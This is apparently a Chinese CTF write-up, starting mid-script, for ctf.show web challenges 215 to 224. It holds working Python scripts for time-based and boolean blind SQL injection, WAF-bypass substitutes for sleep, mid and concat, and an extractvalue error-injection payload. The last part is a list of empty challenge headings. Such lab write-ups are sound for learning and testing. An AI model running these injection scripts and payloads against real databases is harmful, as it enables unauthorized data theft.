for i in range(start,end):
mf = 0
for mid in flagStrDict:

data = {
"ip":payload.format(i,mid),
"debug":1
}

try:
t = time.time()
req = requests.post(url=urls, headers=headers, data=data,timeout=timeout)
endTime = time.time() - t
time.sleep(0.3)
mf += 1
print(f"find time: {int(endTime)} s \t and find payload: {payload.format(i,mid)}")
# print(req.content)
except Exception as e:
if mode == 1:
flag += mid
elif mode == 2:
flag += chr(int(mid,16))
print(flag)
break
if mf == len(flagStrDict):
print("flag is :"+flag)
break

if __name__ == "__main__":
# find database/tables/columns
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_"

def web215():
url = "http://d86b4db8-c487-4cde-8209-1e104d9d5e51.challenge.ctf.show/"
payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxc')"
payload3 = "select flagaa from ctfshow_flagxc"
# id,flagaa,info
# GetData2(url,payload="'||if(mid(("+payload1+"),{},1)='{}',sleep(3),1)||'",flagStrDict=flagStrDict1,timeout=5)
# GetData2(url,payload="'||if(mid(("+payload2+"),{},1)='{}',sleep(3),1)||'",flagStrDict=flagStrDict1,timeout=5)
GetData2(url,flag='ctfshow{',start=9,end=55,payload="'||if(mid(("+payload3+"),{},1)='{}',sleep(5),1)||'",flagStrDict=flagStrDict2,timeout=5)

web215()

web216

原始信息

查询语句

where id = from_base64($id);

返回逻辑

//屏蔽危险分子

解题

照搬上一题脚本,修改未多线程爆破:

# coding=utf-8
import requests,threading,time,concurrent.futures
"""
多线程爆破脚本

哈哈哈哈!开始起飞!
总算不用那么慢的盲注了!
"""

def send_request(url,headers,data,timeout,strs):
try:
req = requests.post(url=url, headers=headers, data=data, timeout=timeout)
time.sleep(0.3)
except Exception as e:
return strs
return ""

def GetData3(url,payload,flagStrDict,flag="",timeout=3,start=1,end=50,threadNum=3):
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url,
"Cookie": "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f",
}
allList = []
flagStr = ''
for index in range(start,end):
dataList = [[{'ip': payload.format(index, strsDict), 'debug': 1},f"{index}:{strsDict}"] for strsDict in flagStrDict]
with concurrent.futures.ThreadPoolExecutor(max_workers=threadNum) as executor:
tasks = []
for data in dataList:
task = executor.submit(send_request, urls,headers,data[0],timeout,data[1])
tasks.append(task)

# 处理返回结果
results = []

for task in tasks:
result = task.result()
if result:
flagStr += (result.split(':'))[1]
results.append(result)
if results:
allList.append(results)
else:
break
print(flagStr)
string = flag
for i in allList:
if i!=[] or i!=[[]] or bool(i):
string += (i[0].split(':'))[-1]
print('flag: ',string)

if __name__ == "__main__":
# find database/tables/columns
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_"


def web216():
url = "http://8c908286-df0a-42c6-8fe7-c94445d8f432.challenge.ctf.show/"
payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxcc')"
payload3 = "select(group_concat(flagaac))from(ctfshow_flagxcc)"
# ctfshow_flagxcc,ctfshow_info
# GetData3(url,payload="to_base64({})".format("if(mid(("+payload1+"),{},1)='{}',sleep(5),1)"),flagStrDict=flagStrDict1,timeout=5)
# id,flagaac,info
# GetData3(url,payload="to_base64({})".format("if(mid(("+payload2+"),{},1)='{}',sleep(5),1)"),flagStrDict=flagStrDict1,timeout=5)
GetData3(url, flag='ctfshow{', start=9, end=55,payload="to_base64({})".format("if(mid(("+payload3+"),{},1)='{}',sleep(5),1)"), flagStrDict=flagStrDict2, timeout=5)

web216()


payload部分在于:

def web216():
url = "http://8c908286-df0a-42c6-8fe7-c94445d8f432.challenge.ctf.show/"
payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxcc')"
payload3 = "select(group_concat(flagaac))from(ctfshow_flagxcc)"
# ctfshow_flagxcc,ctfshow_info
# GetData3(url,payload="to_base64({})".format("if(mid(("+payload1+"),{},1)='{}',sleep(5),1)"),flagStrDict=flagStrDict1,timeout=5)
# id,flagaac,info
# GetData3(url,payload="to_base64({})".format("if(mid(("+payload2+"),{},1)='{}',sleep(5),1)"),flagStrDict=flagStrDict1,timeout=5)
GetData3(url, flag='ctfshow{', start=9, end=55,payload="to_base64({})".format("if(mid(("+payload3+"),{},1)='{}',sleep(5),1)"), flagStrDict=flagStrDict2, timeout=5)

其中,要注意点在于:网络不好就没必要跑脚本了,因为实在……太依赖网络状态了。。。

半夜开了5G测试,一直出错误。同一个payload放BP跑了不到五分钟就全出来了,我……

web217

原始信息

查询语句

where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}

解题

这个题目过滤了 sleep ,导致常用延时注入函数被过滤。这里对 sleep 的平替方案为:

select sleep(3):
# 平替为:
select benchmark(3500000,md5('www'));

具体的平替时间是测试出来的,使用 Burp 抓包出来进行平替测试即可。

具体测试方案就是:设置 3s 延迟,让后放上这种句子进行测试:ip=if(1,benchmark(3500000,md5('www')),1)&debug=1 .

脚本如下,注意网络环境对延时注入的影响。

# coding=utf-8
import requests,time,concurrent.futures
"""
多线程爆破脚本

哈哈哈哈!开始起飞!
总算不用那么慢的盲注了!
"""

def send_request(url,headers,data,timeout,strs):
try:
req = requests.post(url=url, headers=headers, data=data, timeout=timeout)
time.sleep(0.3)
except Exception as e:
return strs
return ""

def GetData3(url,payload,flagStrDict,flag="",timeout=3,start=1,end=50,threadNum=5):
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url,
"Cookie": "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f",
}
allList = []
flagStr = flag
for index in range(start,end):
dataList = [[{'ip': payload.format(index, strsDict), 'debug': 1},f"{index}:{strsDict}"] for strsDict in flagStrDict]
with concurrent.futures.ThreadPoolExecutor(max_workers=threadNum) as executor:
tasks = []
for data in dataList:
task = executor.submit(send_request, urls,headers,data[0],timeout,data[1])
tasks.append(task)

# 处理返回结果
results = []

for task in tasks:
result = task.result()
if result:
flagStr += (result.split(':'))[1]
# print([result],type(result))
results.append(result)
if results:
allList.append(results)
else:
print("No results {}".format(index))
break
print(flagStr)
string = flag
for i in allList:
if i!=[] or i!=[[]] or bool(i):
string += (i[0].split(':'))[-1]
print('flag: ',string)
# t = threading.Thread(target=send_request,args=(urls,headers,data,timeout,flag,mid,i,payload))

if __name__ == "__main__":
# find database/tables/columns
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_"

def web217():
url = "http://4afe2ce4-af43-46e5-a9c1-79b4b85cb45f.challenge.ctf.show/"
payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxccb')"
payload3 = "select(group_concat(flagaabc))from(ctfshow_flagxccb)"
# ctfshow_flagxccb,ctfshow_info
# GetData3(url,payload="{}".format("if(mid(("+payload1+"),{},1)='{}',benchmark(3500000,md5('www')),1)"),flagStrDict=flagStrDict1,timeout=5)
# id,flagaabc,info
# GetData3(url,flag='id,flag',start=8,payload="{}".format("if(mid(("+payload2+"),{},1)='{}',benchmark(3500000,md5('www')),1)"),flagStrDict=flagStrDict1,timeout=5)
GetData3(url, flag='ctfshow{', start=9, end=55,payload="{}".format("if(mid(("+payload3+"),{},1)='{}',benchmark(3500000,md5('www')),1)"), flagStrDict=flagStrDict2, timeout=5)

web217()

web218

原始信息

查询语句

where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}

解题

这过滤……又要寻找平替方案……

还有一个平替方案,利用大量的查询消耗时间:

if(mid(1,(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c,information_schema.tables d),1)

其中的 SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c,information_schema.tables d 便是起到平替作用的sql查询语句。(笛卡尔积)

如果是使用延迟2s的话,特别考验爆破者的网络环境。特别是这种情况下特别容易出现flag错误的情况。

注意:这里的爆破延迟是1.7s,测试的具体方式是从Burp看回显时间测试出来的。

使用要求:

  1. 测试者正常回显(非测试笛卡尔积)的情况下延迟在0到1s之间。
  2. 测试者测试笛卡尔积的时候延迟在1.7或者大于1.7的范围。

下面是脚本:

# coding=utf-8
import requests,time,concurrent.futures
from colorama import Fore, Back, Style, init
init()

"""
单线程爆破
"""

def GetData2(url,payload,flagStrDict,flag="",timeout=3.0,start=1,end=50,mode=1):
"""
单线程爆破
:param url:目标url
:param payload:payload模板
:param flagStrDict:flag字典
:param flag:flag
:param timeout:超时时间
:param start:开始
:param end:结束
:param mode:模式
:return:
"""
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url,
"Cookie": "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f",
}

thresholdNumber = 3
for i in range(start,end):
mf = 0
for mid in flagStrDict:

data = {
"ip":payload.format(i,mid),
"debug":1
}
t1 = time.time()
thresholds = 0

# 使用数据包阈值来过滤废包
# 经过测试,当前网络环境当中延迟1.7是笛卡尔积的极限。具体测试方法是把数据包转发到BP当中,尝试使用笛卡尔积直接发数据测试极限时间
for threshold in range(thresholdNumber):
try:
t = time.time()
req = requests.post(url=urls, headers=headers, data=data,timeout=timeout)
endTime = time.time() - t
time.sleep(0.3)

print(Style.BRIGHT+'find time',
Style.RESET_ALL +f": {endTime:.3f} s \t ",
Style.BRIGHT+'and find payload',
Style.RESET_ALL +f": {payload.format(i,mid)}"
)
# print(req.content)
except Exception as e:
thresholds += 1
print(Fore.RED+'the number',Style.BRIGHT+f": {thresholds} ",Style.RESET_ALL + "-")

endTime = time.time() - t1
if mode == 1 and thresholds == thresholdNumber:
flag += mid
# print(f"index: {i}\t all time:{endTime:.3f}\t flag:{flag}")
print(f"{Back.GREEN+'index'}: {i}","\t",f"{Back.GREEN+'all time'}:",Style.BRIGHT+f"{endTime:.3f}","\t ",Back.GREEN+'flag',":",Style.BRIGHT+f'{flag}',Style.RESET_ALL + "-")
break
elif mode == 2 and thresholds == thresholdNumber:
flag += chr(int(mid,16))
# print(f"{Back.GREEN+'index'}: {i}\t {Back.GREEN+'all time'}:{endTime:.3f}\t {Back.GREEN+'flag'}:{Style.BRIGHT+'flag'}",end=' ')
print(f"{Back.GREEN+'index'}: {i}","\t",f"{Back.GREEN+'all time'}:",Style.BRIGHT+f"{endTime:.3f}","\t ",Back.GREEN+'flag',":",Style.BRIGHT+f'{flag}',Style.RESET_ALL + "-")
print(Style.RESET_ALL + "-")
break
else:
mf += 1

# print(payload.format(i,mid))
if mf == len(flagStrDict):
print("flag is :"+flag)
break

def GetData4(url,payload,flagStrDict,flag="",timeout=3.0,start=1,end=50,mode=1):
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url,
"Cookie": "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f",
}
for i in range(start,end):
mf = 0
for mid in flagStrDict:

data = {
"ip":payload.format(i,mid),
"debug":1
}

try:
t = time.time()
req = requests.post(url=urls, headers=headers, data=data,timeout=timeout)
endTime = time.time() - t
time.sleep(0.3)
mf += 1
print(f"find time: {int(endTime)} s \t and find payload: {payload.format(i,mid)}")
# print(req.content)
except Exception as e:
try:
t = time.time()
req = requests.post(url=urls, headers=headers, data=data, timeout=timeout)
endTime = time.time() - t
time.sleep(0.3)
mf += 1
print(f"find time: {int(endTime)} s \t and find payload: {payload.format(i, mid)}")
# print(req.content)
except Exception as e:
try:
t = time.time()
req = requests.post(url=urls, headers=headers, data=data, timeout=timeout)
endTime = time.time() - t
time.sleep(0.3)
mf += 1
print(f"find time: {int(endTime)} s \t and find payload: {payload.format(i, mid)}")
# print(req.content)
except Exception as e:
if mode == 1:
flag += mid
break
elif mode == 2:
flag += chr(int(mid, 16))
break
print(flag)

# print(payload.format(i,mid))
if mf == len(flagStrDict):
print("flag is :"+flag)
break



if __name__ == "__main__":
# find database/tables/columns
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_"
flagStrDict3 = "id,flagah,infoctfshow,_0123456789abdegijklmnpqruvxyz"
flagStrDict4 = "id,flagno_0123456789bcehjkmpqrstuvwxyz"

def web218():
url = "http://736e0672-8f98-43d0-ae4d-3660b56cfda7.challenge.ctf.show/"
payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxc')"
payload3 = "select(group_concat(flagaac))from(ctfshow_flagxc)"

timeOutFunction = "(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c)"

# ctfshow_flagxc,ctfshow_info
# GetData2(url,flag='ctfshow_',start=9,payload="if(mid((" + payload1 + "),{},1)='{}',"+timeOutFunction+",1)",flagStrDict=flagStrDict1,timeout=1.7)
# id,flagaac,info
# GetData2(url,payload="if(mid((" + payload2 + "),{},1)='{}',"+timeOutFunction+",1)",flagStrDict=flagStrDict4,timeout=1.7)
"""
ctfshow{3e19223f-d564-4aae-945e-55a2656f1c27}
ctfshow{3e192230-d564-4aae-945e-56a2656f1c27}
ctfshow{3e19223f-d564-4aae-945e-56a2656f1c27}
"""
GetData4(url,flag='ctfshow{', start=9, end=55,payload="if(mid((" + payload3 + "),{},1)='{}',"+timeOutFunction+",1)",flagStrDict=flagStrDict2,timeout=1.7)

web218()

多跑两次,flag有一定概率会出错,测试的时候多测试两次不会吃亏。

web219

原始信息

查询语句

where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}

解题

沿用上面脚本即可

web220

原始信息

查询语句

where id = ($id);

返回逻辑

//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

解题

首先考虑时间盲注,依然还是只能使用笛卡尔积。

其次考虑其它payload点位的限制。

上次的payload是带有concat/mid 两种的,而这两种恰巧对应组合和切割两种情况。

concat 对应限制 group_concat 列组合方法,用 limit {} 1 绕过。 {} 是爆破的第 0 行到第 n 行。

mid 采用 left/right 两种的其中一种进行绕过。这俩都是切割函数,但是没有 mid 的按位置切割,只能从头切割到末尾/从末尾切割到头。

注意:这里还是得注意下网络的延迟问题。延迟测算好后再用payload。

下面是脚本:

# coding=utf-8
import requests,time,concurrent.futures
from colorama import Fore, Back, Style, init
init()

def GetData6(url,payload,flagStrDict,flag="",timeout=3.0,start=1,end=50,mode=1):
"""
单线程爆破
:param url:目标url
:param payload:payload模板
:param flagStrDict:flag字典
:param flag:flag
:param timeout:超时时间
:param start:开始
:param end:结束
:param mode:模式
:return:
"""
urls = url + "api/"
headers = {
"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Referer": url
}

# 容错数据包次数
thresholdNumber = 4

flagTest = ''


# 控制查表的爆破行
for rows in range(10):
flagTemp = ''
# flagEnd = flagTemp
# 控制查表爆破行中的列数据
for columns in range(start,end):
mf = 0
# 控制查表爆破列的数据匹配
for strDict in flagStrDict:
# 使用十六进制的形式避免出现非预期情况
payloadEd = '0x'+''.join([(hex(ord(i))).replace('0x','') for i in flagTemp+strDict])
data = {
"ip":payload.format(rows,columns,payloadEd),
"debug":1
}
# 容错变量
thresholds = 0

# 使用数据包阈值来过滤废包
# 经过测试,当前网络环境当中延迟1.7是笛卡尔积的极限。具体测试方法是把数据包转发到BP当中,尝试使用笛卡尔积直接发数据测试极限时间

t1 = time.time()

def miniNumber():
t = time.time()
requests.post(url=urls, headers=headers, data=data, timeout=timeout)
endTime = time.time() - t
time.sleep(0.3)

print(Style.BRIGHT + 'Find time', end=":")
print(Style.RESET_ALL + f"{endTime:.3f} s \t ", end="")
print(Style.BRIGHT + 'And find payload', end=':')
print(Style.RESET_ALL + f"{payload.format(rows, columns, payloadEd)}")


try:
miniNumber()

except Exception as e:
# 经过第一层超时后进行容错处理
for threshold in range(thresholdNumber):
try:
miniNumber()

except Exception as e:
thresholds += 1
print(Fore.RED + 'the number',end=" : ")
print(Style.BRIGHT + f"{thresholds} ",end="")
print(Style.RESET_ALL + "")

endTime = time.time() - t1

if thresholds == thresholdNumber:
# 容错成功后组合flag字符串/关键字符串
flagTemp += strDict
print(f"{Back.GREEN + 'index'}: {rows} {columns}", end="\t")
print(f"{Back.GREEN + 'all time'}",end=":")
print(Style.BRIGHT + f"{endTime:.3f}",end="\t ")
print(Back.GREEN + 'flag', end=":")
print(Style.BRIGHT + f'{flagTemp}',end='')
print(Style.RESET_ALL + "")
break
else:
mf += 1

if mf == len(flagStrDict):
#列数据结束标志
print("flag is :" + flagTemp)
print('all :',flagTest)
break

if '' == flagTemp:
#行数据结束标志
print('flag is :' + flagTest)
break
else:
flagTest += flagTemp if flagTest == '' else ','+flagTemp
print(flagTest)


if __name__ == "__main__":
# 字符串字典
# find database/tables/columns
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_"
flagStrDict4 = "id,flagno_0123456789bcehjkmpqrstuvwxyz"

def web220():
url = "http://8f817a4c-a121-4798-8e3c-35669806ab66.challenge.ctf.show/"
payload1 = "select(table_name)from(information_schema.tables)where(table_schema=database()) limit {},1"
payload2 = "select(column_name)from(information_schema.columns)where(table_name='ctfshow_flagxcac') limit {},1"
payload3 = "select(flagaabcc)from(ctfshow_flagxcac) limit {},1"
print(url)
"""
payload
if(left((select(xxx)from(yyyy0)limit {3},1),{1})='{2}',?,1)
切割的办法:
假设:a=ctfshow_flagxca
left(a,1) = c
left(a,2) = ct
left(a,3) = ctf



3 点位,列点位1个,行点位2个 该修改爆破的框架了
"""
timeOutFunction = "(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c)"

# 爆库 ctfshow_flagxcacetscstxc,ctfshow_info
# GetData6(url,flag='',start=1,payload="if(left((" + payload1 + "),{})={},"+timeOutFunction+",1)",flagStrDict=flagStrDict1,timeout=1.7)
# 爆列 id,flagaabcc,info
# GetData6(url,flag='',start=1,payload="if(left((" + payload2 + "),{})={},"+timeOutFunction+",1)",flagStrDict=flagStrDict4,timeout=1.7)
# 获取flag
GetData6(url,flag='',start=1,payload="if(left((" + payload3 + "),{})={},"+timeOutFunction+",1)",flagStrDict=flagStrDict2,timeout=1.7)
# test(url)
web220()

web221-limit注入

原始信息

查询语句

//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

返回逻辑

//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

解题

难怪说很安全,本地测试limit都直接报错,不安全都不行啊……

具体参照:大牛的博客

/api/?limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database(),0x3a)),1)&page=1

web222-group by

原始信息

查询语句

//分页查询
$sql = select * from ctfshow_user group by $username;

返回逻辑

//TODO:很安全,不需要过滤

解题

group by基本上没过滤什么,能使用if+布尔注入直接绕过。

# coding=utf-8
import requests,time

def getDate(url,payload,strDict,start=1,end=50,flag=''):

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}

for i in range(start,end):
temp = flag
importNumbers = 4

for j in strDict:
p = payload.format(i, j)
t = time.time()
r = requests.get(url + p, headers=headers)
tEnd = time.time() - t
text = r.text.encode('gbk').decode('unicode_escape')
print(f'time:{tEnd:.3f}\tpayload is:{p}')
if len(text) <=91 and bool(text):
flag += j
print(bool(text),flag)
break

if flag == temp:
print(f'flag is : {flag}')
break

return flag

if __name__ == "__main__":
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_"
flagStrDict3 = "id,flagah,infoctfshow,_0123456789abdegijklmnpqruvxyz"
flagStrDict4 = "id,flagno_0123456789bcehjkmpqrstuvwxyz"

def web222():
url = "http://1941d958-1f41-4146-aa5f-dc8a17137650.challenge.ctf.show"
url = url[:-1] if url[-1] == '/' else url
payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flaga')"
payload3 = "select flagaabc from ctfshow_flaga"
# testFunc(urls=url)

# ctfshow_flaga,ctfshow_user
# getDate(url,payload="/api/?u=if(mid(("+payload1+"),{},1)='{}',1,username)",strDict=flagStrDict1)
# id,flagaabc,info
# getDate(url,payload="/api/?u=if(mid(("+payload2+"),{},1)='{}',1,username)",strDict=flagStrDict4)
#flag
getDate(url,payload="/api/?u=if(mid(("+payload3+"),{},1)='{}',1,username)",strDict=flagStrDict2)

web222()

web223

原始信息

查询语句

//分页查询
$sql = select * from ctfshow_user group by $username;

返回逻辑

//TODO:很安全,不需要过滤
//用户名不能是数字

解题

具体来讲,过滤了数字,和纯加号,绕过的办法之前遇到过,是:concat(true%2btrue)=>concat(true+true)=>2

下面是实现的脚本:

# coding=utf-8
import requests,time


def miniTransition(strs):
try:
publicStr = 'concat(' + (''.join('true%2b' for i in range(int(strs))))[:-3] + ')'
except Exception as e:
publicStr = f"'{strs}'"
return publicStr

def miniTransition2(strs):
publicStr = ''
try:
if int(strs) or int(strs) == 0:
publicStr = 'char(concat(' + (''.join('true%2b' for i in range(ord(strs))))[:-3] + '))'
else:
publicStr = f"'{strs}'"
except Exception as e:
publicStr = f"'{strs}'"
return publicStr

def getDate2(url,payload,strDict,start=1,end=50,flag=''):

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}

for i in range(start,end):
temp = flag
importNumbers = 4

for j in strDict:
p = payload.format(miniTransition(i), miniTransition2(j))
t = time.time()
r = requests.get(url + p, headers=headers)
tEnd = time.time() - t
text = r.text.encode('gbk').decode('unicode_escape')
print(f'[{tEnd:.3f}] payload: {p}')
# print(text)
# print(f'And the repose of len: {len(text)}')
# print('-*- ' * 12)
if len(text) <=91 and bool(text) and '失败' not in text:
flag += j
print(bool(text),flag)
break

if flag == temp:
print(f'flag is : {flag}')
break

return flag

if __name__ == "__main__":
flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz"
# find flag
flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_"
flagStrDict3 = "id,flagah,infoctfshow,_0123456789abdegijklmnpqruvxyz"
flagStrDict4 = "id,flagno_0123456789bcehjkmpqrstuvwxyz"

def web223():
url = "http://16c8a3fc-a335-4d7c-bbf9-b6f4345c0b8c.challenge.ctf.show"
"""
if((payload),true,username)
"""
# ctfshow_flagas,ctfshow_user
payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
# id,flagasabc,info
payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagas')"
payload3 = "select(flagasabc)from(ctfshow_flagas)"

# testFunc(urls=url)
# getDate2(url,payload="/api/?u=if(mid(("+payload1+"),{},true)={},true,username)",strDict=flagStrDict1)
# getDate2(url,payload="/api/?u=if(mid(("+payload2+"),{},true)={},true,username)",strDict=flagStrDict4)
getDate2(url,payload="/api/?u=if(mid(("+payload3+"),{},true)={},true,username)",strDict=flagStrDict2,start=9,flag='ctfshow{')

web223()


web224

原始信息

登录窗口一个,需要自己去找重置密码的窗口才能登录,登录后有一个文件上传的接口文件上传的时候限制的很死,得用特殊的方法写入。

解题

web225

web226

web227

web228

web229

web230

web231

web232

web233

web234

web235

web236

web237

web238

web239

web240

web241

web242

web243

web244

web245

web246

web247

web248

web249

web250

web251

web252

web253

web254

web255

web256

web257

web258

web259